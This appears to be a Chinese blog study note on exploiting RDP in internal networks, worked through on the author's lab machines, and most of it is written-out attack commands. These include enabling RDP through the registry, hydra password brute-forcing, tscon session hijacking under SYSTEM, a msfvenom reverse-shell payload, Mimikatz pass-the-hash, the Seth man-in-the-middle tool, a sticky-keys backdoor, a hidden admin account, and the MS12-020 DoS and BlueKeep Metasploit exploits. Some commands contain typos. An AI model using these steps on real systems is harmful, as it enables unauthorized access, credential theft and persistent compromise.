内网中的RDP利用

学习参考

https://www.freebuf.com/articles/network/276242.html

能跟着实操的都实操一下。熟悉一些命令,过程。

实验环境:win2008,192.168.72.139

两个用户: administrator,shizuru

RDP服务 确定/开启

RDP服务确定

看是否开启RDP,

注册表查询

bash 复制代码
REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections    # 查看RDP服务是否开启: 1关闭, 0开启 

REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\ WinStations\RDP-Tcp" /v PortNumber    # 查看 RDP 服务的端口

进程查看

bash 复制代码
tasklist /svc | findstr "TermService"    # 找到对应服务进程的 PID 
netstat -ano | findstr "3389"    # 找到进程对应的端口号

端口扫描

nmap,fscan扫,看有无3389。

RDP服务开启

如果没开启就需要我们开启RDP服务。

修改注册表

先设置允许RDP,

bash 复制代码
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

再配置防火墙,允许远程桌面连接

bash 复制代码
netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow

MSF模块启动

拿到meterpreter后:

bash 复制代码
use post/windows/manage/enable_rdp
set session 1
exploit

RDP服务连接

前面开启RDP服务后就可以连接了,

注意有时候会报错

这时关闭鉴权模式即可:

bash 复制代码
REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v UserAuthentication /t REG_DWORD /d 0

注意还要把shizuru加入Remote Desktop组才能登录:

Linux上用rdesktop:

rdesktop <ip>

kali这边登录后,win2008那边就下线了。

Windows用mstsc.exe


对RDP口令爆破

跟ssh这些一样,可以在线爆破。

比如hydra

hydra -v -f -l user -P wordlists.txt rdp://ip

hydra -v -f -l shizuru  -P pass.txt rdp://192.168.72.139

如果是域的话就是INTRANET\win2008这种的用户名

成功与否完全取决于字典强度。

RDP劫持实现未授权登录 (✨)

这是重点。经常提到的内网RDP未授权应该指的就是这个。

在有多个用户登录一台机子(不同账户分开),看任务管理器:

我这里是admin视角,右键shizuru后可以点连接,输入密码切换:

重点

Windows有一个tscon命令,也可以实现这种切换功能。

首先

query user

获取用户对应会话的ID,

然后tscon,对应ID,密码

tscon <会话ID> /PASSWORD:<密码>

即可切换。

而有一个特殊用法

在SYSTEM权限下可以直接tscon <ID>切换!

此时攻击者可以在不提供其他用户登录凭据的情况下自由切换会话桌面,实现劫持其他用户的 RDP 会话。

有什么用呢?

RDP 会话劫持在特定情况下可以大显身手,比如对于较新的 Windows 系统,默认情况下是无法通过 Mimikatz 导出用户明文口令的,此时我们通过常规方法无法切换至另一用户的桌面,那么我们便可以借助上文提到的方法,先提权至 SYSTEM 权限,再劫持目标用户的 RDP 并切换过去。

特别注意的是,即使远程连接的用户关闭了远程连接窗口,也不会劫持该回话,只是在后台显示 "已断开连接"(Disconnected),

此时**仍能在SYSTEM权限下通过tscon**实现未授权连接。

高权限劫持低权限用户的RDP

对于这个实验环境就是admin 劫持 shizuru。

由于高权限一般指管理员权限,所以提权到SYSTEM相对容易一些。

这里学习一下:

高权限用户劫持低权限用户的 RDP 会话利用起来比较简单,由于具有管理员权限,可以直接通过创建服务等方式获取 SYSTEM 权限。

这是个很好的思路,因为很多服务是以SYSTEM权限运行的。

创建劫持用户会话的服务:

(cmd)

bash 复制代码
sc create rdp binpath= "cmd.exe /k tscon 2 /dest:console"
sc start rdp

执行sc start rdp后,我们创建的劫持会话的服务将会启动,由于 Windows 是以 SYSTEM 权限运行服务 的,所以我们tscon 2命令也会以 SYSTEM 权限运行,此时便可以在不提供目标用户密码的情况下成功劫持目标用户的会话:

sc start rdp后就能成功免密登录。

也可以用psexec来获得一个SYSTEM权限的cmd

bash 复制代码
psexec.exe -s -i cmd 

query user
tscon 2 /dest:console

低权限劫持高权限的RDP

这里对应 shizuru劫持admin。

由于低权限,就需要用其它辅助手段提权了。

场景:

假设我们以shizuru rdp登录(拿到了账密),发现有一个admin的会话:

我们配合MSF,CS这些来拿shizuru的SYSTEM权限。

由于要上传shell,貌似rdp不支持跨机复制。

这里模拟一下,msf生成木马:

bash 复制代码
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.136.181 LPORT=2333 --platform windows -f exe -o shell.exe

起个http服务,shizuru上下载,msf监听上线。

然后meterpreter getsystem拿权限。(呃呃呃,并没拿到。。)

(所以说低权限打高权限很难)

假设我们拿到SYSTEM了,那么直接

query user
tscon <ID> /dest:console

亦可。

利用hash传递登录RDP远程桌面

只有"Restricted Admin"才行,普通RDP组用户不行

修改/查询 Restricted Admin Mode

bash 复制代码
REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v DisableRestrictedAdmin /t REG_DWORD /d 00000000 /f

REG query "HKLM\System\CurrentControlSet\Control\Lsa" | findstr "DisableRestrictedAdmin"
# 查看是否成功开启

0表示开启。

开启Restricted Admin Mode后,可以用Mimikatz pth来攻击。

bash 复制代码
privilege::debug
sekurlsa::pth /user:administrator /domain:如果有的话 /ntlm:ab89b1295e69d353dd7614c7a3a80cec "/run:mstsc.exe /restrictedadmin"

这里直接搬图了:

但其实,既然都抓到admin的hash了,也可以干别的pth,不需要局限在RDP这里,不如pth smb这些。

当然就当一个点记下来也好。也不失为一种方法。

RDP远程桌面中间人攻击

既然是内网协议,就必有中间人攻击。。。

中间人攻击通常会导致凭据捕获。同样的,在对 RDP 会话进行中间人攻击,攻击者可以获得一个登录用户的明文密码,用于后期的横向移动。当 RDP 爆破走不通时,我们不妨尝试一下中间人。

工具:

Seth是一个用 Python 和 Bash 编写的 RDP 中间人攻击自动化工具,通过尝试降级连接用以提取明文凭证来实现 MitM RDP 连接,而不管网络级别的身份验证(NLA)是否启用。

https://github.com/SySS-Research/Seth

用法:

bash 复制代码
Usage:
./seth.sh <INTERFACE> <ATTACKER_IP> <VICTIM_IP> <GATEWAY_IP|HOST_IP> [<COMMAND>]

INTERFACE:网卡
ATTACKER IP:中间人 IP
VICTIM IP:连接者 IP
GATEWAY IP|HOST IP:被连接的远程主机 IP
COMMAND:启动时执行的命令

然后当 PC 上的用户远程登录 DC 时便会抓取到登录用户的明文密码。不仅如此,还可以对用户键盘的操作进行记录,甚至使用<COMMAND>在目标主机上执行命令。详情请看:https://www.freebuf.com/sectool/178146.html

启动seth监听:(为方便这里直接kali连接win2008)

sudo ./seth.sh eth0 192.168.136.181 192.168.136.181 192.168.72.139

可能要Windows登才能抓到keyboard之类的?

获取RDP远程桌面连接记录

远程桌面连接的历史记录可以定位到关键服务器

获取 RDP 远程桌面连接记录可以通过枚举注册表完成,但是如果想要获得所有用户的历史记录,需要逐个获得用户的 NTUSER.DAT 文件,通过注册表加载配置单元,导入用户配置信息,再进行枚举才能够实现。

手动获取比较复杂,3gstudent有脚本:

https://github.com/3gstudent/List-RDP-Connections-History

远程桌面相关的维持权限的方法

Windows辅助功能维权

这篇讲的很细:

https://xz.aliyun.com/t/7034

可以用的有 粘滞键,放大镜,讲述人这些。

以粘滞键为例:

sethc.exe,路径c:\windows\system32\sethc.exe

找到EXE后,把sethc.exe改为cmd.exe即可:

bash 复制代码
cd c:\windows\system32  
move sethc.exe sethc.exe.bak   // 将sethc.exe重命名
copy cmd.exe sethc.exe       // 将一个cmd.exe副本保存伪装成sethc.exe

这样我们不需要登录,只需要远程桌面服务连接,在登录界面调用粘滞键即可拿到shell。

由于前面我们将cmd放在system32下,所以这个shell是SYSTEM权限,

我们就可以添加一个管理员用户登录,或者tscon <ID>随意切换会话了。

但是,有些主机做了防护:即使是SYSTEM权限也是无法修改 sethc.exe的,只有TrustedInstaller权限才可以。

此时可以steal TrustedInstaller.exe的token。

方法如下:

在meterpreter拿到shell后

bash 复制代码
sc.exe start TrustedInstaller       # 先进入shell启动TrustedInstaller服务

use incognito
ps      # 找到TrustedInstaller的进程PID,这里为3476
steal_token <PID>      # 从该进程中窃取令牌
getuid   

然后就可以对sethc.exe进行操作了。

MSF中也有对应模块实现:

post/windows/manage/sticky_keys

bash 复制代码
use post/windows/manage/sticky_keys
set session 1
set target UTILMAN # 辅助功能
exploit

Windows 系统隐藏账户

bash 复制代码
net user hacker$ 123qweQWE /add
net localgroup administrators hacker$ /add

可以看到添加后,net user是看不到 hacker$账户的:

然后把hacker$加入RDP组就可以用隐藏账户登录了。

更为隐藏的方式这里不深入探究,原理就是利用注册表来注册这个隐藏账户,这样就只能在注册表中才能看到。

RDP相关漏洞(✨)

对3389端口的DoS攻击

这一利用借助的是 2012 年爆出来的 MS12-020 远程桌面协议 RDP 远程代码执行漏洞(CVE-2012-0002)。该漏洞是由于 Windows 在处理某些对象时存在错误,可通过特制的 RDP 报文访问未初始化或已经删除的对象,导致任意代码执行,然后控制系统。

msf中有两个利用模块,一个exp,一个scan

search MS12-020

这里用win7实验:ip:192.168.72.141

先检测:

use auxiliary/scanner/rdp/ms12_020_check
set rhosts 192.168.72.141
set rport 3389
exploit

然后打exp:(看hint用的UAF。。)

use dos/windows/rdp/ms12_020_maxchannelids
set RHOSTS 192.168.72.141
exploit

再看win7:经典蓝屏~

可能利用的场景:

DoS 攻击执行者通常攻击托管在诸如银行或信用卡支付网关等高端 Web 服务器上的站点或服务,通过暂时或无限期地中断连接 Internet 的主机服务,使其目标用户无法使用机器或网络资源。

CVE-2019-0708

Windows 远程桌面服务的远程代码执行漏洞

影响版本:

Windows 7 foR 32-bit Systems Service Pack 1

Windows 7 for x64-based Systems Service Pack 1

Windows Server 2008 foR 32-bit Systems Service Pack 2

Windows Server 2008 foR 32-bit Systems Service Pack 2 (Server Core installation)

Windows Server 2008 for Itanium-Based Systems Service Pack 2

Windows Server 2008 for x64-based Systems Service Pack 2

Windows Server 2008 for x64-based Systems Service Pack 2 (Server Core installation)

Windows Server 2008 R2 for Itanium-Based Systems Service Pack 1

Windows Server 2008 R2 for x64-based Systems Service Pack 1

Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)

Windows XP SP3 x86

Windows XP Professional x64 Edition SP2

Windows XP Embedded SP3 x86

Windows Server 2003 SP2 x86

Windows Server 2003 x64 Edition SP2

Windows 8 和 Windows 10 及之后版本的用户不受此漏洞的影响。

MSF中也有模块:

search CVE-2019-0708

一个检测,一个EXP

Scan:

bash 复制代码
ucanner/rdp/cve_2019_0708_bluekeep
options
set RDP_CLIENT_IP kali_ip
st RHOSTS win7_ip

EXP

bash 复制代码
use exploit/windows/rdp/cve_2019_0708_bluekeep_rce
set payload windows/x64/meterpreter/reverse_tcp
set rhosts 192.168.72.141
set lhost 192.168.136.181
set rdp_client_ip 192.168.136.181
unset RDP_CLIENT_NAME
set target 2    # 这里的 2 代表目标机为虚拟机环境
exploit

由于我是用vmware17搭的win7,target里面最高到15.1,所以打不通。

打通示例:

相关推荐
Neo Wordsworth5 分钟前
通义灵码在Visual Studio上
windows·ai·visual studio
悟空不是猴子1 小时前
VS Code终端命令执行后老是出现 __vsc_prompt_cmd_original: command not found
windows·vscode·prompt·bash
Flame_Cyclone1 小时前
FakerInput 键盘鼠标输入封装
c++·windows·win32·fakerinput
职业演员2 小时前
win11优化之win11取消二级菜单
windows
gb421528710 小时前
java中如何计算两个list的差集,并集,交集等,举一个详细的实例说明,用stream流的filter,contains等去实现。
java·windows·list
网络研究院16 小时前
微软九月补丁星期二发现了 79 个漏洞
windows·安全·微软·系统·漏洞·版本·更新
小和尚敲代码18 小时前
word文档无损原样转pdf在windows平台使用python调用win32com使用pip安装pywin32
windows·python·pdf
Tech Synapse1 天前
Java怎么把多个对象的list的数据合并
java·windows·list
程序员黄老师1 天前
Windows下SDL2创建最简单的一个窗口
c++·windows·sdl·sdl2
tangjunjun-owen1 天前
windows系统visual studio编译器配置opencv库
ide·人工智能·windows·opencv·visual studio